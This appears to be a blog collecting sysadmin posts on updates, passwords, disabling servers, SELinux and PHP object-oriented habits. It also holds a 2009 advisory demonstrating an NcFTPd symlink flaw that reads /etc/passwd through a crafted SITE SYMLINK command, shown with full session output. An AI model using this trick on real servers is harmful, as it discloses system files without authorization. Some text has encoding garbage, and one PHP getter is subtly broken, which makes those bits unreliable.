Aug 12
Keeping the System Up to Date

Many compromised systems owe their inglorious compromised status to lack of appropriate maintenance. A few minutes spent checking for and installing software updates on a regular basis can save uncountable hours of work later, because updated software frequently includes fixes for security bugs. If you update buggy software quickly enough, would-be intruders will not be able to exploit security vulnerabilities.

The Importance of Server Updates

Software bugs can take many forms and have many different types of effects. Bugs can corrupt data, crash the affected program, or make the program behave in some odd way. Some bugs are security-related. They may allow a person to write arbitrary files in arbitrary locations (potentially overwriting critical configuration files), or give the abuser the ability to run programs under some other username. In sum, such bugs can compromise the system, giving a normal user superuser privileges.

Servers, like any other program, can be buggy. Buggy servers are particularly important because they’re potentially more accessible than are buggy local programs. If a non-network program (say, man) contains a security-related bug, only local users can exploit the bug. Assuming your users are trustworthy, and assuming a cracker hasn’t gained local access to your system, such a bug won’t cause harm. (Of course, those assumptions aren’t always valid, so fixing such bugs is important.) Many servers, by contrast, are accessible to the world at large. If a flaw in a Web server allows any user to take control of the computer, then that Web server is vulnerable to attack from just about anybody. Thus, security bugs in servers are particularly critical, and it’s vital you protect yourself against them.

The problem is exacerbated by the fact that many servers run as root. If a program (server or nonserver) that runs as an ordinary user is compromised, chances are little damage can be done with it. For instance, such a program can’t ordinarily rewrite your /etc/passwd file. If a program that runs as root is compromised, though, the attacker has much greater power; if such a program can be made to write arbitrary files, changing /etc/passwd is very possible. Many servers need root privileges to function correctly. For instance, root access is needed to provide login services, or even to listen to the first 1024 ports, on which most servers run. (A super server runs as root, but can spawn a server that runs as another user, even when it serves a sub-1024 port.)

For all of these reasons, it’s critical that you keep your servers up to date. You don’t necessarily need to perform every server update, because many server updates exist to add features or fix nonsecurity bugs that might not affect you. You should upgrade whenever an update emerges that fixes a security bug, though.

How to Monitor for Updated Software

There are several ways to look for updated software packages:

  • Software package Web sites and mailing lists? Most software packages, including most servers, have official Web sites, mailing lists, and occasionally newsgroups or other communication forums. You can monitor these resources on a regular basis to locate software updates. This approach can be tedious, though; a Linux system may have a dozen or more servers installed, and monitoring all the relevant forums can be difficult at best. This approach is best reserved for unusual packages梩hose that aren’t part of your normal distribution’s software mixnd perhaps for very popular servers you might be running.

  • Your distribution’s Web site? All distributions have Web pages that include information on software updates. Distribution maintainers do the work of monitoring various security resources, including the Web pages for the individual server packages included in the distribution. This provides you with a one-stop location for security and other update information. The drawback is that it may take some time for a security fix to filter down from its original source to your distribution’s Web page. In a best-case scenario, the delay might be just a few minutes, but it’s more likely to be a few hours or even days.

  • Generic security information sources? The upcoming section, "Keeping Abreast of Security Developments," describes resources for information on security-related developments. These can be extremely useful and important. They usually include information on workarounds to problems, if they exist, so you may be able to take steps to minimize the risk before an official fix is available. You’ll have to go back to the program maintainer or your distribution’s updates page to obtain fixed software, though.

In most cases, some combination of the last two approaches is a good way to keep an eye on security developments. Reading your servers’ Web sites can also be important, particularly if you’re using unusual servers that aren’t officially supported by your distribution. A quick check of two or three Web pages or newsgroups once a day can save untold hours of work recovering from a break-in. Even a once-a-week check is better than nothing, and a periodic comparison of installed packages against the latest versions available can help catch updates that might have slipped through the cracks, as it were.

Automatic Software Update Procedures

Unfortunately, manually checking for software updates can be tedious at best. For this reason, there are several tools available to help automate the process. These include the following:

  • apt-get? This program is a standard part of the Debian distribution and its derivatives. It’s used for installing software, and it can also check for updates to already installed packages. Specifically, typing apt-get update followed by apt-get dist-upgrade will retrieve updated package information and then upgrade any packages that have newer versions. Replace the second command with apt-get -s -u upgrade to receive a report on new packages without actually installing them. Using apt-get in this way will only work, however, if you list at least one Debian package distribution site in the /etc/apt/sources.list file. There are also ports of apt-get (part of the larger apt package) for RPM-based systems, such as the one created by Connectiva (http://distro.conectiva.com/projetos/42) and apt4rpm (http://apt4rpm.sourceforge.net).

  • Red Hat’s Update Agent? Red Hat uses a package it calls the Update Agent to help keep systems up to date. This package requires you to register with Red Hat, and the program sends information on your computer’s hardware and software to Red Hat. It can then keep your system updated. Configuration and use of the program is moderately complex, so you should consult its documentation at http://www.redhat.com/docs/manuals/RHNetwork/ref-guide/ for more information.

Automatic security updates are desirable in many ways, because they can help protect you against security breaches. They aren’t without their drawbacks, though. By giving an automatic process control of your computer, you’re entrusting it with a huge responsibility. Automatic updates can and do fail in various ways. For instance, an updated package might include a new bug or an incompatibility with another important package (especially if you’ve mixed packages from your distribution with others you build yourself or install from tarballs). It’s also conceivable that a cracker could break into the automatic update site or a DNS server in order to deliver modified packages. Because Debian packages sometimes include installation scripts that require human interaction, you shouldn’t run apt-get in a cron job or other automated procedure; you should run it manually, even if you plan to do so on a regular basis. (Using apt-get -s -u upgrade in a cron job should be safe, though.) These tools don’t always differentiate between security updates and others that are less critical, but which might cause problems for your system.

On the whole, automated software updates can be quick and convenient, but I recommend using them only in a strictly supervised manner. Ideally, you should be able to authorize individual upgrades so as to head off problems due to an overzealous update agent. This is an area of active development, so it’s likely that these tools will become more sophisticated and helpful in the future.

Tagged with:
Aug 10

Controlling Accounts and Passwords

If a server exists, it’s a potential door into your computer. There are several different ways to lock this door. One is to use firewall tools like iptables . Another, which works only with some servers, is to pay careful attention to user accounts and passwords on the computer. Servers that use these features can become vulnerable if the computer hosts unused accounts or if passwords fall into the wrong hands. This method of control requires a partnership between you as a system administrator and all of your users, so it’s important that you communicate the risks of poor password choice, password use over unencrypted connections, and so on to your users.

Account Creation Procedures and Policies

The first step in protecting your system through account security is to develop and follow appropriate procedures and policies for the creation of accounts. To use the analogy of servers as doors, every account is a key that can open a door (often several doors). By minimizing the number of accounts on the computer, you reduce the risk that a key to enter your system will be abused. Of course, many servers need user accounts. Without user accounts, a file-sharing server is of limited utility, an FTP server can be used only for anonymous access, and so on. The trick is to determine when you really need to create a particular user account.

On some servers, the answer is simple: You don’t create user accounts least, not for anybody but a handful of administrators (perhaps just one).  Many servers, such as font, DHCP, and time servers, don’t need user accounts, and so such computers can easily do without user accounts. Other server systems, such as Web and FTP servers, may or may not need user accounts, depending upon precisely how they’re to be used. Remote login servers are usually run on computers that host many user accounts, so these systems always require user accounts.

Assuming a computer needs ordinary user accounts, you should have a clearly defined policy regarding use of that computer that you can use to guide when to create an account. For instance, a computer in a university’s physics department might exist for use by faculty, staff, and students associated with that department, so you should have a policy to create accounts only for those individuals. Formalizing these policies can help avoid an expansion that might be undesirable from a security point of view. You can change these policies if they become too constricting, but it’s easy for a system to acquire unused or unnecessary accounts if your account-creation policies are too lax or informal. This formalization is particularly important if the computer has many users.

You may also want to develop scripts or a checklist to follow when creating user accounts. One particularly important detail in this process is how you set the password. The upcoming section, "Setting Good Passwords," addresses this issue. You should also create an appropriate default permissions system for your computer. For instance, you might want to create separate project groups and assign users to specific groups, and assign permissions on home directories to restrict who may access whose files. Appropriate policies vary greatly from one environment to another, so you’ll have to develop your settings with your particular needs in mind. In an open environment, loose home directory permissions such as 0755 or even 0775 may be in order, with a matching umask value for file creation; but in an environment in which intra-system security is more important, you may need to set tight 0700 home directory permissions with restrictive umasks.

Monitoring Account Usage

Once you’ve created accounts for your users, you may want to monitor those accounts to see that they aren’t abused. There are two key aspects to this monitoring: Checking for inactive accounts and checking for abuses of active accounts.

Handling Inactive Accounts

User accounts are seldom permanent. Students graduate and employees move on to other jobs, for instance. Whenever an account falls into disuse, it should be disabled or removed to minimize the risk of its being abused. If you receive a notice that the user has left your organization or should no longer have an account for some other reason, you can manually disable or delete the account. You might not always receive such a notification, though. One way to help automate the process is to create accounts that automatically expire, or that have passwords that expire. You can use the usermod command to set an expiration date on an account, thus:

# usermod -e 2003-07-04 george

This command tells the system that the george account will become inactive on July 4, 2003. (You can use the -e parameter to useradd to create an account with an expiration date initially, as well.) This approach is most useful when you know that a given user will no longer need an account after a certain date, such as with student accounts and those for temporary employees.

A less drastic approach is to set up an expiring password. These require the user to change the password on a regular basis, such as once a month. You can do this with the chage command, thus:

# chage -M 30 -W 5 george

This command tells the system that george must change his password every 30 days, and to warn george of an impending deadline 5 days before the fact. If george doesn’t change his password, the account will be disabled and require administrative intervention to be used again.

These automated processes can help reduce problems, but they aren’t appropriate for all situations. For instance, if the account exists for some nonlogin process, such as file sharing via a Samba server or mail delivery only, users may not see password expiration messages, at least not unless you create custom cron jobs to check for impending account expirations and notify users, say by sending them e-mail about the upcoming password expirations. There are some active steps you can take to monitor account usage. For instance, the last command returns information on the last few logins, and many distributions maintain a log file called /var/log/auth in which information on authentication is stored. If you want to be very diligent, you might even set up a cron job to monitor system log files, note when users log in, and notify you if an account goes unused for more than some given period of time. You can use these tools to monitor account usage, and if an account falls into disuse, investigate further to determine if it should be deleted.

You might need to take active administrative steps to alter account availability. For instance, once an account has automatically expired, you might want to delete it if you know it won’t be used again. You might want to write a script that checks for expired accounts and reports back to you if it finds any. (These accounts can be identified because the third colon-delimited field in /etc/shadow contains a smaller value than the eighth field.)

Checking for Account Abuse

A nightmare for any system administrator is a local account that’s being abused. Perhaps one of your users is untrustworthy, and is using the computer to attack other systems, or even the local system itself. Another possibility is that an outsider might have hijacked a user’s account in order to abuse it.

One way to check for abuse is to look for suspicious activity in your system log files, such as /var/log/messages and /var/log/secure. (Precisely what log files exist, and what information they contain, varies from one distribution to another.) System log files mostly monitor the activity of servers, though, not of clients. Therefore, you might not see any evidence of a local user abusing, say, a Telnet client to attack another system. Such evidence might turn up in a firewall’s log files, though, depending on your network’s configuration. You might also see suspicious activity if your system comes under attack from outside.

Unfortunately, checking for such abuses by scanning log files is tedious at best. Automated tools like the Simple Watcher (SWATCH, http://oit.ucsb.edu/~eta/swatch/) can help by scanning log files for key strings that might indicate trouble, but such tools aren’t foolproof.

One potentially important step you can take in tracking, if not preventing, abuse of your system is to run the auth server (also known as identd). When a client on your system contacts an external server, that server might try contacting yours to find the identity of the user who makes the outgoing connection. If your user causes trouble on the remote system, that system’s administrator can contact you and tell you who was causing problems, because the username will be recorded in the remote system’s logs. This process only works, of course, if identd is installed and running on your system, and if it’s not been compromised itself. (Most distributions ship with this server, which is very basic and so requires only minimal configuration. It’s normally run from a super server.)

Ultimately, your ability to track and prevent abuse of your local systems is limited. You can be alert to suspicious local activity, such as processes that should not be running, but closely monitoring all the activity on even a single computer is far more work than a single system administrator can undertake.

Setting Good Passwords

In order to use passwords, computers must store them on disk. Typically, computers encrypt passwords, generally using a hash, or one-way encryption algorithm. In Linux, password files are usually stored in /etc/shadow (old Linux systems often used /etc/passwd). This practice makes a password file useless even if a cracker obtains it梠r so it would be in a perfect world. Increasing CPU power and disk space have made it possible for crackers to encrypt entire dictionaries that span multiple languages and include many proper names and variant spellings, letter order reversals, and so on. If a cracker obtains an encrypted password file, the cracker can compare the file’s entries to the encrypted results from the dictionary file. If a match results, the cracker has learned the password.

For this reason, the best passwords are random collections of letters, numbers, and any other characters the computer allows for a password. Such random strings are unlikely to appear in a cracker’s password-cracking dictionary. Unfortunately, random passwords are hard to remember, so most people pick easy-to-remember梐nd therefore easy-to-break梡asswords. A reasonable compromise is to build something that won’t appear in a dictionary but that has personally memorable characteristics. This process is two-step: First, build a base, and then modify that base.

To build a base, take a pair of unrelated words and merge them together, such as bunpen; or use an acronym that has meaning only to you, such as yiwttd (for yesterday I went to the dentist). This base is easy for you to remember and should not appear in a dictionary. It’s best if the base is as long as possible. (I used six-character bases as examples because eight is the limit on some systems, and subsequent modifications will increase the length.) Nonetheless, a cracker might stumble upon your base by combining words from a dictionary. Therefore, further modifications are necessary.

Possible modifications include:

  • Mix case? If your system’s passwords are case-sensitive, mix up the case randomly, as in BUnPeN or YiWTtd. Many systems use case-insensitive passwords, though, so this step may not help security in all situations. For instance, Windows uses case-insensitive passwords for its SMB/CIFS file sharing.

  • Add digits or punctuation? Add two or three randomly selected digits or punctuation, creating something like BU3nP&eN or Y+iWTtd2.

  • Reverse a word? If you used two words as your base, reverse the letter order of one of them. This might produce BU3nNe&P, for instance.

Further modifications are, of course, possible. The key is that, despite the random appearance of these end results, the person who produced them can regenerate the password with relative ease. Such passwords therefore need not be written down or stored unencrypted on a computer. These two practices both greatly degrade security, because the paper or computer file might fall into the wrong hands.

If you want to check that your users’ passwords are good, you can use a password cracking program on them, such as Crack (http://www.users.dircon.co.uk/~crypto/). If the program delivers a password to you, you can help the user create a better password.

Warnning:

If you run a password-cracking program, do it on a computer that’s not connected to any network to eliminate the risk that a cracker will stumble across your efforts. Also, as with port scanning, password cracking is grounds for dismissal from many employers, so if you want to do this to improve local security, be sure to obtain permission first!

In addition to creating good passwords, users should take pains to keep passwords secure. This means that users should never write down passwords or give them to other people (even friends, family members, or co-workers). You should explicitly tell your users that you will never need to know their passwords; there have been scams in the past where crackers have claimed to be system administrators and asked for passwords, and users have fallen for the ruse.

Even if users create good passwords and don’t give them away, they can be discovered through various means. One is shoulder surfing, in which a cracker observes a user in a public area typing in the password. This is a real risk in public computer centers such as those common on university campuses, and to a lesser extent in the cubicle farms common in many companies. Another risk, which has been described elsewhere in this book, is password sniffing, in which a computer on a network is programmed to recover passwords sent between other computers on the network. This is a risk both on local networks and on the Internet at large. You can minimize the risk on local Ethernet networks by using switches rather than hubs; switches don’t echo data to all connected devices, so the sniffer would have to be on the client or server computer itself to acquire a password. A still better approach is to use protocols that encrypt the password, rendering an intercepted password useless.

Tagged with:
Aug 10
Shutting Down Unnecessary Servers:

Server programs, by design, provide access to a computer. Thus, every server that runs on a computer increases the risk that an unwanted individual will gain access to the computer. The interloper might gain access through a bug in the server, a misconfiguration of the server, or a compromised password. Whatever the exact details, one effective means of reducing this risk is to shut down unnecessary servers. The first step to doing this is locating unnecessary servers. Once located, you must decide to shut the server down. Shutting down a server is normally a simple task, but some methods are more effective than others.

Locating Unnecessary Servers

The task of locating unnecessary servers can be broken down into two subtasks: Identifying servers that are running on your system and determining which of these servers is unnecessary to normal system operation. There are several ways to go about both of these tasks, and you may want to do so in multiple ways to improve your chances of success.

Locating Servers

Unfortunately, there is no centralized registry of running servers on a Linux system. If there were, locating servers would be a relatively straightforward process. Instead, you must piece together information from several different sources. It may be possible to overlook a server by one method, so it’s best if you use several to locate your servers.

Using Package Management Systems

One tool that’s useful in locating servers is your distribution’s package management system. If you use the Red Hat Package Manager (RPM) or Debian packages exclusively, your database should contain a listing of every package that’s installed on a computer. You can use this database to browse the installed packages, reading package descriptions to help you determine whether a package contains a server, and if so, whether you need it or not. Tools that are particularly helpful for this task are GUI package management systems, such as Red Hat’s GNOME RPM, SuSE’s YaST, and the Storm Package Manager (part of the Storm distribution, but also useable with Debian). These tools allow you to browse the installed packages in a window. You can click a package and choose an option to read a description of the package. Some package managers categorize their packages so that you can more easily locate them, but these categories aren’t as strictly defined as they might be, so you may need to look in all the categories to locate all your servers. This approach also will not find servers that you installed from tarballs or from source code. Finally, you can’t tell whether a server is actually running with this approach. A server that’s installed but not running poses much less risk than one that’s actually running. (The main risk is that some future configuration change might accidentally start the server running, thus increasing your risk.)

Examining server startup methods can help you determine what servers are running, but it may not paint a complete picture of what servers are installed. For that, you’ll need to use a package management system or examine every executable on your computer (a tedious proposition at best). As noted earlier, a package that’s installed but not running poses much less of a risk than does one that’s installed and running.

Examining Running Processes

Another tool that can be helpful in locating servers is ps. This command returns information on running processes. You can provide dozens of different options to modify the program’s operation, but typing ps ax is a good starting point if you want to locate servers. The output is likely to be quite extensive, so you may want to redirect it to a file or pipe it through more or less so you can examine the whole of the output. If you’re searching for a specific server, you can pipe the result through grep, as in ps ax | grep sendmail to locate information on any sendmail processes that are running. However you use it, ps provides information on both server and nonserver processes. Here’s an edited example of its output:

$ ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        S      0:15 init [3]
  502 ?        S      0:05 named -u bind
  520 ?        S      0:01 cupsd
  535 ?        SW     0:00 [nfsd]
 1741 pts/4    S      0:00 /bin/bash
 4168 ?        S      0:00 httpd

Actual ps outputs are likely to contain dozens of lines, even on a lightly loaded system. This example has trimmed all but a few entries for demonstration purposes. The first entry, with a process ID (PID) of 1, is always init. This process sits at the root of the process tree; all others derive from it, directly or indirectly. Processes whose names (in the COMMAND column) are in brackets, such as [nfsd], are kernel processes. You might recognize nfsd as the name of the NFS daemon kernel-based server. Other servers in this example are named, cupsd, and httpd, all of which are user-space servers. Two clues help identify these as servers. First, their names all end in d, for daemon. Second, they aren’t tied to specific ttys (the TTY column contains a question mark). Many nonserver processes, such as /bin/bash in this example, are tied to specific ttys. Neither of these details indicates with certainty that a process is a server, but they’re useful clues.

Once you’ve spotted potential servers with ps, you may want to try locating documentation for the processes in question. Type man name, where name is the name of the process; and try locating the binary file with the name of the process, and track down its package and documentation (for instance, rpm -qf /path/to/name to locate the package associated with name on an RPM-based system, or dpkg -S /path/to/name to do the same thing on Debian).

Keep in mind when using ps that it won’t locate servers that aren’t running at the moment you check for them. In particular, if a server is started through a super server, you won’t find it by examining a process list unless somebody is using the server at the moment you try this test. This procedure also won’t locate a server that’s crashed or has been temporarily taken down for maintenance.

Using netstat

One problem with the ps approach is that it’s not always obvious which processes are involved in network operations, much less which are servers. One tool that you can use to help fine-tune this identification is netstat.

This program reports information on network connections, including which ports are in use. Like ps, netstat takes a large number of options that modify its behavior. To help locate servers, netstat -lp is a good starting point. This locates ports that are being listened to (-l), and causes netstat to print (-p) the name of the server that’s doing the listening. The output also includes the port to which the server is listening, and additional information. As with ps, you’ll probably want to redirect the output to a file or pipe it through less or more.

Although netstat can be a useful tool, it’s got its limits. It displays the ports that are being listened to, but the program list won’t be completely accurate for servers started through a super server; netstat will report the super server name rather than the name of the program that ultimately fields the request.

Using External Scanners

One of the most powerful tools for locating servers is an external scanner program, such as Nessus (http://www.nessus.org), SAINT (http://www.wwdsi.com/saint/), or Nmap (http://www.insecure.org/nmap/). These programs run on a computer other than the one you want to check, and scan the target system for running servers. Depending on the exact goals of the scanner developers, it may report additional information, such as the OS in use on the target or whether a server has any known vulnerabilities. A basic scan can often be performed very simply by typing the tool’s name followed by the target system’s hostname, as in nmapgingko.threeroomco.com. The result should be a list of open ports and associated server types.

WARNING:

Port scanners are frequently used by crackers to help them locate vulnerable systems. Using the same tools yourself can be helpful in that you’ll spot the sorts of vulnerabilities a miscreant might locate. Sadly, using these tools can also cast suspicion upon you, especially if the use of the tool is unauthorized. Before you obtain and use a port scanner, clear its use with your superiors. If you don’t, you could find yourself in trouble erhaps even enough to lose your job!

An external scan can be particularly helpful if you suspect a server may have already been compromised. A competent cracker can replace tools like ps and netstat so that any additional servers won’t appear to be running. An external scan might discover these servers.

The drawback to an external scan is that it may not spot servers if they’re not accessible to the system doing the scanning. For instance, if a computer has two network interfaces, scanning one interface might turn up no servers running, when many servers are running on the other interface. Likewise, firewall tools can block access to servers based on IP addresses, so even if a computer has just one network interface, an external scanner might not detect a server if a firewall blocks the scanning system.

Determining When a Server Is Unnecessary

Once you’ve developed a list of servers, you must decide which ones are necessary. Unfortunately, this task isn’t always easy. Unless you’re intimately familiar with the operation of a Linux system, you may not understand the function of a server, and so may believe it’s unnecessary, when in fact it plays some important role. The preceding chapters of this book can help you determine whether many specific servers are necessary on your system. You can also consult the server’s documentation, such as its man pages, or perform a Web search to locate more information.

If you’re still not sure if a server is strictly necessary, you can try shutting it down and see what happens. If the computer continues to operate normally in all respects, you can be sure that the server wasn’t doing anything necessary; however, most servers do provide some sort of noticeable function. It’s possible that the server you shut down does something necessary, but that is not immediately obvious. For instance, you can run a font server  even on a computer that doesn’t run X. The computer itself will continue to function if you shut down the font server, but other systems will soon begin to malfunction.

You should also be very cautious about shutting down processes related to logins. Although remote login servers, may not be necessary, disabling local logins can cause serious problems that would require an emergency boot floppy to correct. You should be cautious about removing login processes started from SysV startup scripts or other system startup scripts.

One fortunate fact is that no process started from a super server is vital for local operation. If you don’t recognize a super server entry, you can remove it and the local computer will continue to function. As just noted, of course, other systems might be adversely affected, but you can remove all the super server entries and that computer will still boot and be usable from the console.

Methods of Shutting Down Servers

You can shut down servers in several different ways. As a general rule, there are two main approaches:

  • You can reverse whatever process is used to start the server. For instance, you can comment out an entry in /etc/inetd.conf or rename a SysV startup script.

  • You can uninstall the server. If the server’s files aren’t installed at all, it can’t be run.

The first method is usually the safest one to try if you’re not absolutely certain you don’t need the server, because it’s the easiest to reverse. If you disable a server and then find that you do need it, you can quickly restore its startup configuration.

Tagged with:
Jul 31

Discovered by:
    Kingcope
    Contact: kcope2<at>googlemail.com / http://isowarez.de

Date:
    27th July 2009

Greetings:
    Alex,Andi,Adize,wY!,Netspy,Revoguard

Prerequisites:
    Valid user account.
Demonstration on FreeBSD 7.0-RELEASE and NcFTPd 2.8.5 (latest version):

# ftp 192.168.2.5
Connected to 192.168.2.5.
220 localhost NcFTPd Server (unregistered copy) ready.
Name (192.168.2.5:root): kcope
331 User kcope okay, need password.
Password:
230-You are user #1 of 50 simultaneous users allowed.
230-
230 Restricted user logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get /etc/passwd passwd
local: passwd remote: /etc/passwd
502 Unimplemented command.
227 Entering Passive Mode (192,168,2,5,219,171)
550 No such file.
ftp> ls ..
227 Entering Passive Mode (192,168,2,5,218,102)
553 Permission denied.
ftp> mkdir isowarez
257 "/isowarez" directory created.
ftp> quote site symlink /etc/passwd isowarez/.message
250 Symlinked.
ftp> cd isowarez
250-"/isowarez" is new cwd.
250-
250-# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
250-#
250-root:*:0:0:Charlie &:/root:/bin/sh
250-toor:*:0:0:Bourne-again Superuser:/root:
250-daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
250-operator:*:2:5:System &:/:/usr/sbin/nologin
250-bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
250-tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
250-kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
250-games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
250-news:*:8:8:News Subsystem:/:/usr/sbin/nologin
250-man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
250-sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
250-smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
250-mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
250-bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
250-proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
250-_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
250-_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
250-uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
250-pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
250-www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
250-nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
250-kcope:*:1001:1001:User kcope:/home/kcope:/bin/csh
250-messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/sbin/nologin
250-polkit:*:562:562:PolicyKit Daemon User:/nonexistent:/sbin/nologin
250-haldaemon:*:560:560:HAL Daemon User:/nonexistent:/sbin/nologin
250-ftp:*:1002:14:User &:/home/ftp:/bin/sh
250-cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh
250-postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin
250-test:*:1003:1003:test:/home/test:/bin/sh
250-+testx:*:::::/bin/sh
250
ftp>

+on freebsd you can symlink directories like ´/´

Cheerio,

Kingcope

Tagged with:
Jul 19

SELinux can be installed in three fundamental ways:

  • As an integral component of a Linux distribution, installed at the same time as the distribution

  • By using binary or source packages, such as the .deb packages used by Debian GNU/Linux; the ebuilds used by Gentoo Linux; or the RPM packages used by Fedora Core, Red Hat Enterprise Linux, and SUSE Linux

  • By downloading, compiling, and installing the sources provided by the NSA

At the time of writing, only Fedora Core and Gentoo contain SELinux as a fully supported, native facility. So unless you choose one of those distributions, you must install SELinux yourself. If you install SELinux yourself, it’s generally much more convenient to do so using packages. However, prebuilt packages are not available for every Linux distribution. Those who are unable or unwilling to use a distribution for which packages are available must compile the sources provided by the NSA. In many cases, the sources must be modified in order to work properly with the distinctive characteristics of a specific Linux distribution.

The following sections explain how to install and initially configure SELinux for several popular Linux distributions. The final section of this chapter explains how to install SELinux using the source code provided by the NSA.

Using X with SELinux

Coaxing SELinux into working with X has proven to be somewhat difficult. Recent releases of SELinux perform much better in this regard than older releases. But they still fall short of perfection. It’s common for SELinux users to find that the login screen doesn’t appear or that they can’t log in.

The KDE Desktop has so far proven more resistant to interoperation with SELinux than its rival desktop, GNOME. The central problem is that various KDE programs run as identically named processes. Thus, SELinux cannot assign these KDE processes to distinct domains. One result of this inability is that KDE’s temporary files sometimes cannot be labeled with appropriate domains. Thus, with respect to KDE, SELinux policies tend either to be too restrictive or too lax. We can hope that a future release of KDE or SELinux will somehow address this problem. In the meantime, for those using SELinux, GNOME is generally a better desktop choice than KDE.

If you find yourself unable to log into X, try returning to a text-mode console by pressing Ctrl-Alt-F1. Then log in and reboot the system in non-SELinux mode

Tagged with:
Jun 30

In the early days of PHP programming, PHP code was limited to being procedural in nature. Procedural code is characterized by the use of procedures for the building blocks of the application. Procedures offer a certain level of reuse by allowing procedures to be called by other procedures.

However, without object-oriented language constructs, a programmer can still introduce OO characteristics into PHP code. It’s a tad more difficult and can make the code more difficult to read because it’s mixing paradigms (procedural language with pseudo-OO design). OO constructs in PHP code — such as the ability to define and use classes, the ability to build relationships between classes that use inheritance, and the ability to define interfaces — make it much easier to build code that adheres to good OO practices.

While purely procedural designs without much modularity run just fine, the advantages of OO design show up in the maintenance. Because a typical application will spend the bulk of its lifetime in maintenance, code maintenance is a large expense over the lifetime of an application. It can also be easily forgotten during development. If you’re in a race to get your application developed and deployed, long-term maintainability can take a back seat to getting something to work.

Modularity — one of the key characteristics of good OO design — helps with this maintenance. Modularity helps encapsulate change, which will make it easier to extend and modify the application over time.

While there are more than seven habits to building OO software overall, the seven habits here are what you need to make your code fit basic OO design criteria. They give you a firm foundation upon which you can add more OO habits and build software that is easily maintained and extended. These habits target a couple of the key characteristics of modularity. For more information about the benefits of OO design that are language-independent, see Resources.

The seven good PHP OO habits are:

  1. Be modest.
  2. Be a good neighbor.
  3. Avoid looking at Medusa.
  4. Embrace the weakest link.
  5. You’re rubber; I’m glue.
  6. Keep it in the family.
  7. Think in patterns.

Be modest

To be modest is to avoid exposing yourself in your implementations of classes and functions. Hiding your information is a foundational habit. You will have a difficult time building any of the other habits until you have developed the habit of hiding the details of your implementations. Information-hiding is also known as encapsulation.

There are many reasons why exposing public fields directly is a bad habit, the most important of which is that it leaves you with no options should something in your implementation change. You use OO concepts to isolate change, and encapsulation plays an integral role in making sure that any changes you make aren’t viral in nature. Viral changes are those that start small — like changing an array that holds three elements to one that contains only two. Suddenly, you find that you’re changing more and more of your code to accommodate a change that should have been trivial.

One simple way to begin hiding your information is to keep fields private and to expose them with public accessors, which are like windows in your house. Instead of having an entire wall open to the outside, you have only a window or two. (I talk more about accessors in "Good habit: Use public accessors.")

In addition to allowing your implementation behind the curtain to change, using public accessors instead of directly exposing fields allows you to build upon your base implementation by overriding the implementation of an accessor to do something slightly different from the behavior of the parent. It also allows you to build an abstract implementation that defers the actual implementation to classes that override the base.

Bad habit: Expose public fields

In the bad code example in Listing 1, the fields of the Person object are exposed directly as public fields instead of with accessors. While this behavior is tempting, especially for lightweight data objects, it limits you.

Listing 1. Bad habit of exposing public fields

<?php
class Person
{
    public $prefix;
    public $givenName;
    public $familyName;
    public $suffix;
}

$person = new Person();
$person->prefix = "Mr.";
$person->givenName = "John";

echo($person->prefix);
echo($person->givenName);

?>

If anything changes with the object, any code that uses it needs to change as well. For instance, if the person’s given, family, and other names were to be encapsulated in a PersonName object, you would need to modify all your code to accommodate the change.

Good habit: Use public accessors

By using good OO habits (see Listing 2), the same object now has private fields instead of public fields, and the private fields are carefully exposed to the outside world by public get and set methods, called accessors. These accessors now provide a public way of getting information from your PHP class so that if something in your implementation changes, the likelihood is lessened that you need to change all the code that uses your class.

Listing 2. Good habit of using public accessors

<?php
class Person
{
    private $prefix;
    private $givenName;
    private $familyName;
    private $suffix;

    public function setPrefix($prefix)
    {
        $this->prefix = $prefix;
    }

    public function getPrefix()
    {
        return $this->prefix;
    }

    public function setGivenName($gn)
    {
        $this->givenName = $gn;
    }

    public function getGivenName()
    {
        return $this->givenName;
    }

    public function setFamilyName($fn)
    {
        $this->familyName = $fn;
    }

    public function getFamilyName()
    {
        return $this->familyName;
    }

    public function setSuffix($suffix)
    {
        $this->suffix = $suffix;
    }

    public function getSuffix()
    {
        return $suffix;
    }

}

$person = new Person();
$person->setPrefix("Mr.");
$person->setGivenName("John");

echo($person->getPrefix());
echo($person->getGivenName());

?>

At first glance, this may seem like a lot more work, and it may actually be more work on the front end. Typically, however, using good OO habits pays off in the long run, as future changes are greatly solidified.

In the version of the code shown in Listing 3, I’ve changed the internal implementation to use an associative array for the name parts. Ideally, I’d have more error handling and would be more careful with checking whether the element exists, but the purpose of this example is to show how the code using my class doesn’t need to change — it is blissfully unaware of my class changes. Remember that the reason for adopting OO habits is to carefully encapsulate change so your code is more extensible and maintainable.

Listing 3. Another twist on this good habit with a different internal implementation

<?php
class Person
{
    private $personName = array();

    public function setPrefix($prefix)
    {
        $this->personName['prefix'] = $prefix;
    }

    public function getPrefix()
    {
        return $this->personName['prefix'];
    }

    public function setGivenName($gn)
    {
        $this->personName['givenName'] = $gn;
    }

    public function getGivenName()
    {
        return $this->personName['givenName'];
    }

    /* etc... */
}

/*
 * Even though the internal implementation changed, the code here stays exactly
 * the same. The change has been encapsulated only to the Person class.
 */
